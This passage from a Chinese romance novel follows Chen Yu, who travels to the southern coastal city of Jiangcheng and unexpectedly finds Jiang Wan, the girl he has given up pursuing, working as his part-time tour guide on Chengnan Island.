“没什么不好的,”孟云程大大咧咧的,“吃饱了,才能想出更多的招,快吃吧。” 可还没等他们想出更多的招,新的麻烦事就又来了。 之前因为陈屿在广播里的暗戳戳告白,学校里的女生暂时消停了一阵儿。可这么长时间过去了,并没见到他和哪个女生走在一起,原本已经衰落的表白风潮,不知不觉间竟然又再次刮了起来。 吃完饭,在回教室的路上,陈屿被一个女生拦住了,他第一反应就是拒绝,可转身之际,却突然在不远处看见了姜挽的身影。 孟云程当然也看到了,就怕引起更多的误会,忙催着他走。 陈屿这会儿却偏偏不动了,一刹那,他思绪叛逆,就想看看在她面前收下别人的情书她会是什么反应,是不是真像她说的那样,一点也不在乎,只把他当做普通同学。 陈屿第一次做这种事情,他也觉得非常不自在,硬挺着,坚持到姜挽走过来的时候,才伸手接了对方的情书。 对面的女生完全没想到他会收,一时间高兴得热泪盈眶,不停重复着自己有多么喜欢他。 可陈屿这会儿哪里还听得进去一点,他一直盯着姜挽,见她冷漠地走近,再继续走远,全程甚至都没朝他这边看过来一眼。 他轻轻地眨了下眼,自嘲地笑了笑,又把情书还给了对面的女孩:“抱歉。” 孟云程一直站在旁边目睹了全过程,如果说一开始还不理解的话,后面看到陈屿的眼神一直在姜挽身上就明白了。只可惜,她是真的不在乎。 兄弟难受,他也跟着一起难受,拍拍陈屿的肩膀:“要不算了吧。” “不。” 陈屿并不打算放弃。 他记得姜挽之前说过,不想再和他有太多接触的原因,就是因为担心会影响她的学习。既然学习对她而言这么重要,那么他就拼命学习,站在顶峰,让她无法忽略他。又或许,她还会觉得,他对她而言也还是有用的。 从小到大,陈屿从来没有这么拼命过,父母有钱又有权,加上他自己长相和成绩的加持,一路走来,基本都是众星捧月般的存在。 现在为了被她多看两眼,就差把自己逼上绝路了,他父母都有点看不下去了。 “儿子,你不用这么拼命,正常学习就行,以你的成绩,国内的大学随便挑。就算不行,我们也会给你安排国外的学校,主要看你喜欢。” 他父母虽这样说,可陈屿还是一再坚持。 其实,以他的天资,根本不需要用全力,七八分已经是年级第一,现在拼尽全力,彻夜不眠地刷题,出来的结果就不仅仅是年级第一了。 姜挽虽说还是第二名,可和他之间的差距已经不是之前的几分那么简单了,而是几十分。 可即便如此,她也并没有因此去和他多说几句话,到此,陈屿才不得不相信,她是真的不想再和他有联系了,无论他做什么。 所以,这场考试下来,最开心的反而是他们班主任韩华。 在后来某一次,陈屿再次和姜挽不小心迎面撞上,而她为了躲他,差点崴到脚之后,陈屿终于下定了决心。 他刚走过去,姜挽的脸色一下子就不好看了,像雨打的新叶,颓然中还带着点惊慌。 陈屿被她这眼神伤到,在离她几步远的距离停下:“你其实没必要费这么大劲躲着我,”他扯开一个笑,尽量让自己显得洒脱些,“你放心,既然你这么讨厌我,我以后不出现在你面前就是了。” 像是犹豫试探,又仿佛一锤定音:“我以后都不会再缠着你了。” 姜挽的心骤然缩紧,明明是她想要的结果,可现在听到,却有一种呼吸急促,鼻腔酸涩的感觉。 陈屿说完,也没立刻走,像是在等待着她能给点什么反应,可惜,什么都没有。 “呵— —”陈屿苦笑了一声,最后还是离开了。 后来,果然如陈屿说的那般,他很少再出现在她面前,两人虽在一个班级,可座位离得远,上下学的时间又不一样,所以,也就和陌生人无异了。 与此同时,姜挽舅舅的工作却再次走上了正轨,家里也终于迎来了难得的安宁。 第35章 江城 又是一场大雪, 蓬松的雪花一层层落在松枝上,地上是各种车轮碾过的泥泞痕迹。 姜挽已经记不清,这是她今年遇上的第几场雪了。 时间过得很快,转眼间她们已经结束了上学期的期末考试, 正式进入了她在北城的第一个寒假。 以前上课的时候, 每天有事情做还好, 她可以把全部的注意力都投到学习里, 强迫自己不去想陈屿。可现在一停下来, 她几乎每天满脑子都是他。 尤其是她还待在北城, 看到一棵树,走过一段路标,甚至是路过的风里, 仿佛都能感觉到他的气息。 姜挽突然很想念江城, 想念江城的海风, 想念江城的热浪, 就连以前经常吐槽的炎日,现在回想起来, 也都是温暖的感觉。 可能人在悲伤的时候, 第一反应总是想回到故乡,所以这个念头一旦起来, 便再没从她的脑海里消散过。 但姜挽也知道, 直接和沈曼说,她肯定是不会同意的, 以往就连她在她面前提到江城, 沈曼都会大发雷霆,更不要说,她现在还是直接回去了。 所以, 这件事还得从长计议。 找了个沈曼心情还不错的日子,姜挽主动和她提起了这事:“妈妈,我有件事想和你商量。” 因为她最近的“不错表现”,沈曼这段时间对她都很有耐心:“什么事,你说吧。” “我想回江城一趟。”姜挽直接开口,果然在她说出这个要求后,注意到沈曼的脸色变了,姜挽一早便料想到了这种局面,所以也就没什么大的心里起伏。 不待沈曼开口,她继续道:“妈妈,你应该也看出来了,我最近状态不太好,如果一直待在北城,难免会触景生情。我担心,要是哪天情绪上头,突然跑出去了也不一定。所以,我想回江城一趟,散散心,顺便也做做兼职。” 江城地理位置偏南,是著名的旅游城市,每年冬天,都会有很多游客从全国各地过去旅游。在这种情况下,姜挽从小便耳濡目染,很小的时候就会趁着寒暑假去景区做兼职导游了。一来是锻炼,二来也能挣点零花钱。 果然,她这么一说,沈曼便开始犹豫了,两害相权取其轻,她相信,沈曼最终还是会让她回去的。 离开北城的那日,沈曼送她到火车站,一路交代了很多,但总结下来就是让她在江城乖一点,不能做的事别做,不该见的人也别见。而且每天固定三次,定时定点要和她联系,汇报她这一天到底做了什么。 和不让她回去相比,这已经是沈曼能做出的最大让步了,姜挽当然没异议,再三保证一定能遵守,沈曼这才把包递给她,指了指检票口:“进去吧,到了和我说一声。” “嗯,知道了。” 北城到江城将近两千公里,姜挽坐的是慢车,全程差不多20个小时,看着窗外从白天到黑夜,再到黑夜到白天,终于,视线里开始逐渐出现她熟悉的,带着夏日气息的江城景色了。 一排排的棕榈树,随处可见的红色三角梅,还有隔着车窗似乎都能闻到的那带着清新水汽的海风的味道,姜挽瞬间便感觉,一直堵塞的胸腔,仿佛都被这景色净化了。 网上说的没错,家乡,果然是治愈一切焦虑和不开心的良药。 下车后,姜挽先在火车站拍了一张照片,发给沈曼,告诉她已经安全到达后,这才提着行李箱和背包去搭公交。 她今天要回的是她奶奶家,在江城郊区。其实她们家在城里是有房子的,可自从她爸爸去世后,她和她妈妈搬到北城,她奶奶因为住不惯城里的房子也回了乡下,所以那套房子就空了。 长时间没有打扫,一时半会儿肯定也不适合居住,况且她这次回家还有另一个目的,那就是多陪陪她的奶奶。 姜挽的爷爷早逝,她几乎不记得爷爷的样子,印象里只有奶奶,陪她玩儿,接送她上学,还有给她买各种礼物,她父母不在的日子,都是奶奶陪着她一起度过的。 原本她奶奶是打算今天来车站接她的,可姜挽考虑到她年纪大了,硬是说什么也不让,只让她在家里等着。可即便是在家里等着,姜挽也知道她闲不住,这会儿还没正式进门呢,她便已经闻到了屋内飘出来的饭香。 芬芳的椰子香,再加上鸡肉原本的油香,不用看,姜挽就可以断定,是椰子鸡,她从小到大都爱吃的美食。 姜奶奶也听到了门口行李箱的声音,围着围裙就从厨房跑出来了,见到姜挽,她很高兴:“呦呦,你回来了!”她拉着姜挽左右看了好几圈,突然眼圈红了,“怎么瘦了这么多?是那边的饭菜不合胃口吗?” 姜挽哪里敢和她提在北城的事情,于是开始打马虎眼:“是呀,北城的饭菜哪有您做的好吃,您都不知道,在那边我有多馋家里的饭菜。这不,趁着寒假,我就赶紧回来了,让您帮我我补补。” 姜奶奶被她哄得高兴,一时间,也顾不得在这个话题上问太多,忙拉着她进屋:“那快走,赶紧进屋,我做了你最喜欢吃的椰子鸡。” 除了椰子鸡,还有白灼虾,清蒸螃蟹,以及她们这边这个季节的各种捞汁小海鲜,姜挽吃到再也吃不下,可以说是她这么长时间以来,吃到的最舒心的一顿家常菜了。 一顿饭,基本都是她在吃,姜奶奶在旁边看着,有时候帮她剥壳,有时候也会问她一些在北城的事情。 虽然之前已经在天气预报上看过了,可当亲耳听到姜挽说北城现在零下,而且还经常下雪的时候,她还是非常担心:“那你能适应吗?和我们这边差别可太大了。” 适应吗?还好吧,环境什么的都是小事,重要的是人。 “挺好的,我适应得还不错。” “那你在那边有交到新朋友吗?在这边的时候你朋友就少,奶奶担心你去了那边没有朋友会孤单。” “交到了,”提到这个话题,姜挽不可避免地就会想到陈屿,她故意提高音调,让自己的声音听起来轻快不少,“交到了好几个呢,男生女生都有。” “看来我们呦呦适应能力还是挺好的。”只有听到她亲口这样说,姜奶奶才能放心,“当初你妈妈那么强烈地要带你去北城,其实我是不赞成的,但没办法,她也有自己的苦衷。” 这又是一个不怎么开心的话题,姜奶奶也意识到了,说了两句,便停下没再继续:“好在你现在适应得还不错,我也就放心了。” 对于她刚才提到的苦衷,姜挽没多想,还以为指的是沈曼遭受丈夫去世的打击。这件事,这个话题,无论过去多久,但只要提起来,就会让人心情变得沉重。回来的第一天,姜挽不想让奶奶不开心:“我在北城一切都好,您放心。” 吃完饭,洗完碗,姜挽还保留着和之前一样的习惯,要去院子里的那张躺椅上躺一会儿。 头顶有树荫,耳侧有海风,身旁是她奶奶给她准备的水果,姜挽吃一口,拿起蒲扇轻轻地摇:“奶奶,今年我们这里的旅游业怎么样?城南岛还像之前那样人多吗?” “多着呢,比以前还多,听年轻人说是因为网络发达了,很多人知道了这个地方,所以来旅游的人就更多了。” 姜挽拿起一块菠萝,仰起头,抬手隔空抛进嘴里:“那我过两天联系我之前做兼职的旅行社看看,问问她们还招不招兼职。” — — 孟云程一开始听到陈屿想要去旅游的想法时,还觉得挺正常的,毕竟他这段时间心情不好,出门散散心也是应该的。而且,他们也确实很长一段时间没有一起出过门了。 可下一秒听到他打算去的地方后,立马一脸黑线:“江城有什么好去的?这种南方的海滨城市,你每年过年和你爸妈一起还没去够吗?” 话出口,他突然反应过来:“你是因为姜挽,对不对?就想去她在的地方?早知道我就不告诉你她回江城的事情了。” 前几天尤伽告诉他姜挽回江城了,这种消息,他当然瞒不住,所以几乎是在听到的瞬间便告诉了陈屿。 对于他的这些话,陈屿只当没听到:“谁说我去江城就是找她了?江城那么大,而且本来就是个旅游城市,我是去旅游的,不行吗?” “这话你自己信吗?”孟云程一副“怒其不争”的表情,“你他妈能不能有点出息?就算要去,不能等一等吗?人家前脚刚回了江城,你后脚就追过去,你让人家怎么想?” “我没想找她。” “那你这么屁颠屁颠地追过去干嘛?” “只是想去她生活的地方看看。” “你……”孟云程一时竟不知该说什么好了,叹一口气,“行吧,你打算订什么时候的票?” “明天。” “你他们真是……”孟云程简直不敢相信,“我真不知道该怎么说你了!” “那就别说。” “你这样,你爸妈也不管?” “他们对我一直都是放养原则,你又不是不知道。” “……” 关于这点,孟云程确实只有羡慕的份儿。 第36章 偶遇 孟云程最终还是和陈屿一起去了, 因为他没有别的选择,倘若一直待在家里的话,那么后果只有一个,就是得不停地面对他父母给他报的各种补习班。 两人刚下飞机, 孟云程便止不住抱怨, 一会儿说天气热, 一会儿又说环境一般, 最后竟然还扯到紫外线上面, 一路就没停过。 陈屿听不得他一直吐槽江城, 皱着眉:“没人要求你一定来,你要是受不了的话,现在就可以买返程机票回去。” 孟云程一听, 当即反驳:“那不行, 我都已经出来了, 自然是要潇洒一番再回去的。再说了, 和被我爸妈安排补习相比,和你一起出来瞎晃, 其实也还是不错的。” 陈屿一手提着行李箱, 一手在手机里寻找司机的电话:“那你就闭嘴,不然我现在就打电话告诉你爸, 其实你这次出来根本不是什么实践, 就是瞎晃的。” 孟云程最怕这招,当即没再吭声, 还做了一个胶带封嘴的动作。 陈屿给司机打电话, 对方接的很快,告知他们就在航站楼出口等着,跟着人流走, 出来一眼就能看到。 果不其然,他们两个一出来就看到了,对方三十左右,打扮得体,礼貌周到,一看就是正规旅行社的工作人员。 和陈屿一起出门,别的不说,钱是一定会花到位的。头等舱,五星级酒店,还有旅游途中的各种专人服务,所有的一切都是高配。这也是为什么孟云程宁愿忍受他的毒舌,也要坚持和他一起出门的原因。 到了酒店,还有美味精致的海鲜大餐等着他们,不同于一开始下飞机时的抱怨,孟云程这会儿的态度可谓是一百八十度大转弯,狼吞虎咽,大快朵颐,反倒是陈屿显得有些兴致缺缺了。 吃完饭,陈屿打算出门逛逛,孟云程却说累,想在酒店睡觉。陈屿也没强求,背上相机打算出门。 突然,孟云程拦住他,警惕地开口:“你不会背着我,一个人偷偷去找姜挽吧?你可别这么做啊,要是传到尤伽耳朵里,她非得把我骂死不可!” 当初尤伽和他说姜挽回江城的时候,就一再交代过他不要和别人说,现在他不仅说了,还和陈屿一起来了,孟云程简直不敢想象被她知道后会怎么样。 陈屿正背对他穿鞋,表情看不清:“过来的一路,你看到我和她联系了吗?再说了,江城这么大,哪有那么巧,随随便便就能碰上。” 陈屿说的是实话,他这趟来,确实没想过要打扰她,只是想看看她从小长大的地方而已。 “也对,”孟云程安心了,重新躺回床上,“那你去吧,记得回来给我带晚饭。” 陈屿离开后,孟云程给尤伽去了一个电话,尤伽只知道他和陈屿出门了,但具体去哪里却不清楚,而且她也不感兴趣,因为这种事他们俩几乎每年都会做。 孟云程有心和她分享这边的美食,又害怕她猜出是哪里,所以讲话都是犹犹豫豫的,几句话下来,尤伽就没耐心了:“行了,知道了,你们好好玩儿吧。” 像是就等着她这句话,得到了尤伽的肯定,孟云程开心不已,挂了电话后,忙不迭开了一局游戏。 — — 和北城的冰天雪地相比,此刻的江城可谓是绿意盎然。街边随处可见棕榈树,还有绽放在枝头的红色三角梅,翅膀上带着白斑的蝴蝶在其中一晃而过,陈屿“咔嚓”一声按下快门。 许是因为这里是姜挽从小长大的地方,陈屿看每一件事物都感觉带着生命力。一朵花,一棵树,甚至是扑面而来的湿热海风,他都真诚地接纳和欣赏。 路过街边的饭馆,他会想姜挽以前是不是在这里吃过饭;穿过街道,他也会记录,或许之前的某个时间点,姜挽和他一样,也在这里驻足停留过;还有人行道上再普通不过的父母牵着女儿的场景,他都会代入,想象很多年前,姜挽也是这样,被她父母牵着走在街头,无忧无虑地度过了她的童年。 所见所感,所思所想,皆是她。 陈屿没去太远的地方,就在酒店附近逛了逛,回去前在路边随便挑了一家餐馆解决晚餐,吃完后觉得味道不错,又给孟云程带了一份。 孟云程玩了几把游戏,后来又睡了会儿,刚起来正愁没地吃饭,就见着陈屿给他带回来的晚餐,不得不感叹,陈屿这人对他是真够意思。自己都触景生情了,还记得给他带晚饭。 “兄弟,还是你对我好。” 陈屿没搭理他,在旁边的沙发上坐着玩儿手机。 “对了,我们明天什么安排?”孟云程也不介意他冷淡的反应,边往嘴里塞菠萝炒饭,边开口。 “明天旅行社会安排人带我们在市区转转。” 闻言,孟云程抬起头:“你真不去找姜挽啊,”他有点不好意思,“其实也没我下午说的那么严重,你要是真想去找她的话,只要不让尤伽知道就行。” “不去,”陈屿窝进沙发了,似乎有些疲惫,“说了不去打扰她,就不会去。” “行吧,那后天呢?”他们一共在这安排了三四天的行程。 “后天再说吧。” “行,”他俩旅游,主打一个随性,“那就到时候再说。” 第二天,果然如陈屿说的那般,一整天他都没有提过姜挽一次,只是特别喜欢拍照,好看的,特色的,甚至还有平平无奇的,他基本全拍。 而且他只拍景色,从不拍自己的人像。导游见他这么喜欢拍照,好几次提议要帮他拍,都被拒绝了。 导游有点心虚,趁陈屿再次忙着拍照的时候,悄悄和旁边的孟云程询问:“您这位朋友看起来好像有点不太高兴,是不是我哪里没有服务好,给你们造成不好的体验了?” “没有,不是,您别多心,”他们这次出来选择的是当地最出名的旅行社,能力和态度肯定都是没问题的,孟云程把导游拉到一边,小声开口,“他这是触景生情,睹物思人呢,和您没关系。” 导游平日里见多了人,瞬间便明白过来了,但也没有说破:“如果是因为这个原因的话,那我建议你们明天可以去城南岛逛逛,那里景色不错,附近还有个城南寺,可以散散心。” 刚好他们明天的行程还没有定,孟云程点点头:“这个地方,也是您带我们逛吗?” “不是,我们每个导游都有自己负责的区域,那边也有专门的导游,不过您放心,能加入我们旅行社的一般都是当地人,且对这里的文化背景都很了解,不会比我差的。” “您这样说,那我就放心了。” 晚上回到酒店,孟云程把今天和导游聊天的内容和陈屿说了,陈屿没意见,反正只要是在江城,去哪里他都接受。 他们订好行程后,便和旅行社联系,但对方表示因为最近来江城旅游的人实在太多,尤其是去城南岛的,而且他们决定的又比较晚,现在正式的导游已经全部安排出去了,只剩兼职导游。 但对方也一再表示,虽然是兼职,能力和素养也是完全没问题的。而且这位最近也刚从北城回来,和他们应该会有很多话题。 其实对方是谁,陈屿根本不关心,只要能带着他们逛就行。况且冲着旅行社这坦诚的态度,陈屿也就答应了。 对方一听很高兴,当即便表示可以给他们打折,陈屿对这些也不怎么在意,反正对方怎么安排,他接受就行。 次日清晨,还是和昨天一样,旅行社一早便派了车来接,因为有了昨天晚上的提前沟通,他们对这次的导游其实并没抱太大希望,远远看过去,只能认出是个瘦瘦高高的女生,扎着马尾辫。 而她此刻正背对着他们,似乎是在打电话,并没有注意到他们的出现。 “怪不得说是兼职的呢,这一看就比昨天的年轻。”过去的路上,孟云程和他调侃,“说不定,和咱俩年纪一样大。” 陈屿淡淡瞥了一眼,很快收回了视线。 “你说,她这么年轻会不会没什么经验啊?又是个小女生,一会儿会不会嫌热嫌累,中途给咱俩撂下了吧?” 陈屿虽然对这个话题没什么兴趣,但还是回了他一句:“既然能做这个行业,就不至于。” “也是,是应该多给年轻人一些机会。” 说话间,他们已经来到了那姑娘旁边,但她电话还没打完,孟云程等不及了,叫了一声:“您好……” 随着这一声落地,对面的人转过身来,也是这一眼,让双方都怔住了。 谁也没想到,那人竟然是姜挽! 陈屿的反应最大,只是他面上不怎么显。这种心里想的人突然出现在眼前,大脑骤然短路的情况,他是第一次遇到。心跳重如擂鼓,就差从嗓子眼里蹦出来了。 他完全没想到,也没敢想过,竟然会以这样的方式和她见面。 她好像比之前胖了点,也黑了,但精神状态很好,比以往在北城时肉眼可见的开心。 姜挽转身,见是他们,也愣住了。 她回江城好几天了,除了前两天在家里休息,给爸爸扫了墓之外,其他的时间便都在城南岛做兼职。昨晚晚上接到老板电话时,她本来还有点推拒,好不容易暂时离开北城了,她想给自己放一个假,不再去想那里的人和事。她怕自己接待从北城来的游客,难免会想起一些。 可老板说实在是没办法了,人手不够,况且对方是两个年轻人,很好相处的。老板平时对她不错,这么多年都很照顾她,就连刚才临出发前,也还在电话里和她交代注意事项,姜挽实在是推脱不掉。 可没想到,这一上来,直接就让她没了任何退路。 电话里的叮嘱还在继续,姜挽忙回神:“老板,已经接到游客了,先挂了,晚点再和您联系。” 挂了电话,姜挽深吸一口气,视线和对面的陈屿他们对上,但一时间谁也没开口,因为实在是太惊讶了。 “我靠!这不是在做梦吧?这他妈的也太奇幻了!”孟云程最先反应过来,一顿输出,“还是说你俩有缘,这都能碰上?” 他看看陈屿,又看看姜挽,最后视线落回陈屿脸上,好在还知道压低声音:“这不会是你特意安排的吧?” 陈屿没搭理他,他就是有这个心,也不会这么做。更何况,他提前也完全不知道她在这里做兼职的事,要如何安排呢? 可凭心而论,能见到她,他还是很开心。 怕孟云程又说出什么让大家尴尬的话,他接过话题问姜挽:“你在这里做导游?” “啊,兼职的,”姜挽回他,“你们来江城旅游?” “嗯。” 两个问题都是明知故问,太明显了,本来是为了缓解尴尬的,可没想到问出来反而更尴尬了。 沉默了一会儿,还是姜挽先恢复过来,毕竟今天她是来工作的:“这里的天气,你们还适应吗?” “挺适应的。 “适应什么呀,热死了。” 两个人,完全不同的两种回答,姜挽笑笑:“江城是有点热,不比北城,要不我们先上车吧?” 第37章 导游 江城不算大, 从酒店过去城南岛三十几公里,通常情况下开车半个小时左右就能到达。可现在正值江城旅游旺季,路上车多人多,出发前姜挽看了眼导航显示的时间, 估计需要五十分钟左右才能到。 她把这情况和他们说了, 陈屿点点头表示知道了, 孟云程则是完全随意, 反而对她兼职导游的这件事更感兴趣。 “你真当导游了啊?怎么样, 干多久了, 这工作累不累?”他和陈屿坐在后排,姜挽和司机在前排,和她说话的时候, 孟云程手撑着座椅, 微微朝前弓着身。 “还行, 不累, ”姜挽侧着身子回答他的问题,“有几天了。” “就算身体不累, 脑子也累吧?每天要背那么多东西, 什么风土人情,历史文化的。” “也还好, 这些东西我从小就接触, 已经不用特意背了。” “也对,你是学霸, 学习那么难的东西都能搞定, 这些东西对你而言肯定就更简单了。对了,”他突然的心血来潮,“既然是导游, 那你肯定也能像电视里演的那样,对着景点,随意就能来一段讲解吧?” 他没有其他的意思,只是单纯地好奇,想见识一下而已。一个平日里和自己一样的同学,突然有一天却干了一份他完全没接触过的工作,好奇,也敬佩。 “可以的。”这是她们的基本功,虽说不是全职的导游,可想要做这份兼职的工作,日常的知识和能力考核,姜挽所在的旅行社还是看得很重的。 “那要不你现场来一段?”车子正巧路过一个人像雕塑,孟云程指了指,“就这个吧,它的来历和历史背景,你给我们讲讲呗。” “当然没……” “想知道不会自己查吗?一大早的,话这么多。” 姜挽的话还没说完,突然斜刺里插进来一个声音,是陈屿。 孟云程有点没反应过来,很委屈:“怎么,谁规定一大早的就不能说话了?再说了,出来旅游不就是为了现场听讲解吗,要是都在手机上查的话,那干脆就在家里待着算了,还出来干嘛?” “那你现在可以回去。” “我凭什么回去?我不回去。”孟云程也不知道他一早上发什么颠,脾气这么大。 眼见着他俩就要吵起来,姜挽忙出来打圆场:“没关系的,这些都是导游的职责,我完全可以介绍。”别说介绍了,就是来回重复好几遍,说到嗓子冒烟的情况,她之前都经历过。 “我说过了,可以在手机里查,谁要是想知道的话,动动手指就能查到,不会被累死。” 陈屿很坚持,说这话时,眼神透过前面的后视镜落在姜挽脸上。 姜挽仿佛有感应般,也抬头看向后视镜,一刹那,两人视线相对,这是自从上车之后,他们两人的第一次对视。 陈屿的眼神很复杂,坚持,隐忍,似乎还有一些她看不懂的东西。 姜挽没敢再看,迅速移开视线,像雨水打湿蜻蜓翅膀那般,短短几秒时间,便迅速结束了这个轻且短的对视。 她轻咳了下,开始整理自己的思绪,虽说和他们认识,可今天她是导游,她是在工作,就该拿出专业的工作态度出来:“要不,你们二位再商量商量?” “不用商量了,我不听了。”孟云程大喇喇开口,原本他还不懂陈屿突然的这是发哪门子火,可刚才看到他从后视镜里偷看姜挽后,瞬间便明白了。 他或许把姜挽当导游了,但陈屿绝对没有。 也对,怪他心太大,一时没考虑到这些,凭心而论,要是尤伽做兼职,这种情况下,他也会有私心的。 可虽想通了,面子上还是有点挂不住,嘟嘟囔囔地,他开始小声骂陈屿:“真是闷骚!就没见过谁比你还闷骚的!” 陈屿听到了,完全不打算搭理他,倒是姜挽听得一知半解,还以为他有其他的要求,忙开口:“没事,今天我就是你俩的专属导游,有什么事直接和我说就行。” “那要是有人闷骚的话,你能帮忙治吗?” 果然,陈屿在听到这句后,脸色变了。 姜挽则是一脸懵:“这……和我们今天的行程有什么关系吗?” “算了,没事,”孟云程倒是先把自己逗笑了,“我想知道还差多长时间可以到?” “快了,还有半个小时。” 没多久,他们便到达城南码头。越临近目的地,人越多。由这里去城南岛,还需要乘坐一段轮渡。 看着窗外摩肩接踵的人群,姜挽拿上手机,准备下车:“你们先在车里等我,我去买票,很快回来。” 孟云程刚想说好,陈屿已经推开他那侧的车门,跟着姜挽下去了:“我和你一起。” 等他反应过来,车里已经只剩他和司机了,这样看,倒像是陈屿和姜挽都是工作人员,他一个人是来旅游的了。 他刚在想要不和他们一起去算了,可只隔窗看了一眼外面的人群和天气,立马便被吓退了。 姜挽也想到陈屿会跟着她一起下来,人太多,要是她一个人走,可能还快点,现在多了他,姜挽每一步都得三回头,生怕把他丢下了。 在数不清多少次被她提醒“小心”后,陈屿也有点不好意思了,他下车本来是打算保护她的,却没想到这一路尽被她保护了。 性别颠倒,角色对换,她照顾得越周到,问得越多,陈屿就越觉得不自在。 好不容易来到售票大厅,两人的额头和鼻尖都冒出了一层细汗,而且中途陈屿甚至还被踩了好几脚。 姜挽是没关系,她干这个习惯了,被晒出和出汗也都是日常,只是可怜了陈屿,估计和他以往养尊处优的生活相比,怕是从没这么狼狈过。 “还挺热的吧,”她有点不好意思,从背包里拿出纸巾递给他,“你应该在车里等我的。” “谢谢,”陈屿接过,却不提在车里等她的事儿,“你每天的工作都是这样吗?” “差不多吧,一到冬天来这里旅游的人就特别多,今天还算可以了,比这更多,更挤的情况我都遇到过。” 说这些话时,她身上有一股鲜活劲儿,还有微微弯起来的眼睛,那是很长一段时间,陈屿都只能在梦里才能见到的场景。 因着这个原因,这原本在他看来有些辛苦的工作,此刻也没那么难以接受了,因为他能感觉到她是真的开心。 买票的人虽然多,可因为开设的窗口也多,很快便轮到他们了。报了数量和仓位级别,姜挽刚打算掏出手机扫码,身后却突然有一只胳膊伸过来,越过她的肩膀,快速扫了窗口的二维码:“我来。” 距离拉近,他的胳膊不小心碰到她的肩膀,微微一缕淡香刺破夏日的炎热,姜挽顿觉靠近他的那侧脸颊热得厉害。 情绪可以隐藏,言语也可以撒谎,可身体的反应从不骗人。过了这么长时间,即便只是这么一个似有若无的接触,姜挽还是轻易地就破防了。 可理智告诉她,什么都不能多想,一切本该就是一场梦。譬如他来江城,譬如此刻和他的相遇。回到北城,一切就都会回到原点。 短短几秒,她迅速收回思绪:“还是我来吧,这个钱旅行社可以报销的。” “没事。”最后,陈屿还是抢在她前面付了款。 姜挽也没再纠结:“那也行,晚点我和旅行社说清楚,让他们再把这笔钱退给你。” 陈屿虽心里不想,可嘴上也没再说什么。毕竟以当前的这种局面来看,他确实没什么立场帮她付钱。更重要的是,他不想她再有压力了。 买完票,他们回去找孟云程,三人再一起登上轮渡。因为他们买的是主甲板仓位,所以行驶过程中可以自由地来到甲板欣赏美景。 孟云程忙着拍照,陈屿则是安静地待在姜挽身边。海风吹来,她的上衣被吹得“啪啪响”,连带着发丝的起舞,美丽又自由。 “风大,小心吹得头疼。”陈屿提醒她。 姜挽却不在乎:“没关系,头疼和这么漂亮的美景比起来又算得了什么。” 她很直接,也很鲜活,娇俏又明媚,和以往陈屿在北城见到的那个她完全不一样。陈屿不会去纠结到底哪个才是真正的她,他只知道两个他都喜欢。只要是她,他就喜欢。 心底被这样温柔的感情充斥着,陈屿一不小心就说出了越矩的话:“看了那么多次,还没看够么?” 还好,姜挽并没有在意:“这其实是我第一次从这个角度欣赏城南岛。” 一瞬间,陈屿默然,做了那么多次导游,这竟然是她第一次站在这个仓位。 心底隐秘的情谊又开始泛滥了,可他必须得控制:“那你再看一会儿,我去那边休息一下。” “好的,你去吧,有事叫我哦。” 退开几步,找了一个合适的位置,在她看不见的地方,陈屿快速抓拍了一张照片。 大海,蓝天,还要阳光下迎风站着的少女,这是她的美好回忆,他都会帮她记录下来。 第38章 专业 到了岛上, 姜挽先把一整天的大致安排和他们说了下,然后询问他们有没有最想体验的项目,要是有的话,可以先去体验。 陈屿和孟云程都一致表示没有, 按她的计划就行。 “那我们就先参观岛上的风景和建筑— —” 城南岛地势起伏, 四面环海, 因为水汽和海风的原因, 这里的温度比江城市区低了些许, 但植物基本一致。棕榈树和三角梅随处可见, 偶尔还能看见枝叶茂绿的椰子树下,坐着三三两两端着椰子汁,笑谈相饮的游客。 至于“城南”二字的由来, 说起来还有那么点故事, 但也只可当传言听听, 具体的真实性还有待考究。 据说明朝时, 曾有位将军逃难至此,身负重伤, 被此地的渔民所救。将军后来恢复后, 为了感谢此渔民,特意问了他的姓名。得知对方名字为“城南”后, 便像圣上请旨将此岛更名为“城南岛”, 同时还为渔民修建了一座寺庙,也就是如今的“城南寺”。 当然这只是传言, 也有很大一部分学者认为之所以会叫“城南”二字, 则单纯就是因为这里的地理位置,位于江城最南端。 三人一路走,姜挽一路和他们介绍, 孟云程明显对那个传言更感兴趣:“那现在城南寺里还能有关于那位渔民和将军的史料吗?” “没有。” “那现在城南寺供奉的是?”这次开口的是陈屿。 “佛教。” 陈屿点头:“那这个故事确实很有可能只是传言了。” 姜挽和他的想法差不多:“我也觉得这种可能性更大。” 几人正说着话,突然有几只翅膀上带着白色斑点的蝴蝶从他们眼前飞过,来到江城的这几日,陈屿经常会看到这种蝴蝶,他只不过多看了两眼,姜挽便立刻做了解释。 “这种叫玉牙凤蝶,国内能见到的地方不多,不过在我们这里倒是挺常见的。最特别的地方就是它翅膀上有白色新月斑,喜欢在花上,或者潮湿的地上,所以你们接下来可能会见的多一点。” “还挺漂亮的。”她说完,孟云程盯着看了一会儿。 “可别被它们的外表迷惑了,”姜挽补充道,“因为它们的幼虫经常会以植物的叶子为食,也包括一些农作物,所以很多时候它们也会被归类为害虫。” “原来如此。”孟云程一副受教了的表情,虽然他知道陈屿讨厌他把姜挽当成导游,可他心底里还是觉得,姜挽这导游还真的挺称职的。 热情积极不抱怨,懂得还多。 专门找了个陈屿看不到的角度,他朝姜挽竖大拇指:“你知道的真多!不愧是导游!” 姜挽虽不知他为何要避着陈屿,但暂且也就把他这当作是对她工作的认可了,于是也快速地回了一个“谢谢”。 在岛上逛了一圈,自然景色看得差不多了,姜挽又带他们去了打卡景点一趟。什么书店,博物馆,以及各个教堂和小巷的都去了,一趟下来,差不多也到吃饭的时间点了。 询问了他们的意见后,姜挽带着他们来到了岛上排名第一的那家海鲜餐厅。因为钱花得到位,他们直接被安排在了VIP区域。既能悠闲地享用午餐,还能透过窗户看海景,好不惬意。 午餐也是以当地的食材为主,就地取材,主打一个新鲜纯正。鸡,虾,蟹自然是主菜,还有炖得软烂的椰子盅,尝一口椰香浓郁,沁人心脾。 吃完饭从餐厅出来,恰巧碰上有人在骑摩托艇,孟云程顿时来了兴趣。其实这个项目也在他们今天的计划里,只是时间安排靠后了些,不过既然他提出来了,一切就都可以现场调整。 交完钱,穿好装备,姜挽又叮嘱了他们一些注意事项后,便打算先找个能休息的地方等着。可没想到刚一转身,便听到周围一阵阵惊呼— — “我靠,快看有帅哥!” “还真是,看看那大长腿,都快到我胸了!” “别光看腿呀,你看脸,那才叫一个帅!” …… 